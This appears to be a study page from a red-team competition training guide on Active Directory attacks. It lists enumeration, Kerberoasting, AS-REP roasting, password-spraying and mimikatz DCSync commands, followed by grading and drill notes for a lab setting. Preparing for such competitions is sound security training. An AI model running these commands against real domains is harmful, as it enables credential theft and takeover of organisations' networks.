Active Directory Attacks

Scope

What this is: Exploiting Active Directory misconfigurations and Kerberos authentication flaws to compromise domain environments.

Competition relevance: Offensive operations (red team CTF), when Active Directory is in scope. Advanced skill for domain compromise.

Why it matters: Active Directory is ubiquitous in enterprise networks. AD attacks enable lateral movement, credential harvesting, and domain-level compromise. High-value competition skill.

WSOS 2026 alignment: This topic directly supports Section 6: Operations and management (exploiting Active Directory weaknesses and Kerberos authentication flaws to compromise domain environments).

Competition area: Core to the offensive operations area, where you identify and exploit Active Directory misconfigurations and authentication vulnerabilities to gain domain-level access.

Offline competence: AD attack tools (Impacket, BloodHound, PowerView, Rubeus) work offline once installed. PowerShell AD module works offline (Get-ADUser, Get-ADGroup). BloodHound requires local Neo4j database (runs offline). Maintain offline Kerberos attack checklists and common AD misconfigurations reference.

Competency Matrix

Level	Expectation
Regional	Not typically covered.
National	Basic AD enumeration. Kerberoasting. Password spraying.
Squad/Team Selection	BloodHound analysis. AS-REP roasting. DCSync. Trust exploitation.

---

Technical Content

Enumeration

PowerView:

# Import
Import-Module PowerView.ps1

# Get domain info
Get-Domain

# Get users
Get-DomainUser

# Get computers
Get-DomainComputer

# Get groups
Get-DomainGroup

BloodHound:

# Collect data with SharpHound
.\SharpHound.exe -c All

# Import ZIP into BloodHound GUI
# Analyze attack paths

---

Kerberoasting

Request TGS tickets:

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Impacket
GetUserSPNs.py domain/user:password -dc-ip 192.168.1.10 -request

Crack hashes:

hashcat -m 13100 hashes.txt wordlist.txt

---

AS-REP Roasting

Find users without Kerberos pre-auth:

Get-DomainUser -PreauthNotRequired

# Request AS-REP
.\Rubeus.exe asreproast /outfile:asrep.txt

---

Password Spraying

Spray common passwords:

# Use kerbrute
.\kerbrute_windows_amd64.exe passwordspray -d domain.local users.txt Password123

---

DCSync

Dump credentials:

# Mimikatz (requires DA or DCSync rights)
lsadump::dcsync /domain:contoso.local /user:Administrator

---

Competition Strategy & Marking

What gets marked:

• See specific task requirements

Evidence and reporting requirements: Evidence and reporting requirements:

• Screenshot showing domain enumeration results (Get-ADUser, net group “Domain Admins”)

• For Kerberoasting: screenshot showing obtained TGS tickets and cracked service account password with hashcat output

• For AS-REP roasting: screenshot showing accounts with pre-authentication disabled and cracked password hashes

• For DCSync: screenshot showing mimikatz DCSync output with NTLM hashes (redact if sensitive)

• BloodHound analysis screenshot showing attack path from compromised user to Domain Admin

• Timestamp and hostname visible in all screenshots

• Written explanation of attack technique and domain-level impact

• Clear file naming: ad_kerberoast_tickets.png, ad_bloodhound_path.png, ad_dcsync_hashes.png

• Start with enumeration (PowerView, BloodHound)

• Kerberoasting for quick wins

• Password spray carefully (avoid lockouts)

• Time limit: 40 minutes

Time-boxed drill suggestion: 50-minute Active Directory attack sprint: Given domain credentials for a standard user, enumerate the domain with PowerView or BloodHound, identify Kerberoastable service accounts and crack their passwords using hashcat with rockyou.txt, run BloodHound to identify paths to Domain Admin, attempt AS-REP roasting on accounts with pre-authentication disabled, and if high privileges obtained perform DCSync to extract domain hashes. Document all findings with screenshots and extracted credentials. This drill should be completable offline with local AD lab.

---

False Flags / Wrong Paths

Common Traps

Time-consuming rabbit holes If a single approach takes more than the allocated time-box, reassess and try alternative methods or move to next task.

Over-complication Competition scenarios test core skills. If solution seems overly complex, look for simpler approach.

---

Practice Checklist

• Can complete core tasks without documentation
• Understand key concepts and techniques
• Can document findings with proper evidence format
• Can complete realistic scenarios within time limits

---

References

Primary references:

• WSOS 2026: the sections this page supports are listed under Scope
• Competition stage roadmap: See ../00-roadmaps/[stage].md

Related topics in this knowledge base:

• Cross-reference related topics as appropriate

External resources (for offline preparation):

• Tool documentation: man pages, —help flags, /usr/share/doc
• Maintain offline copies of key references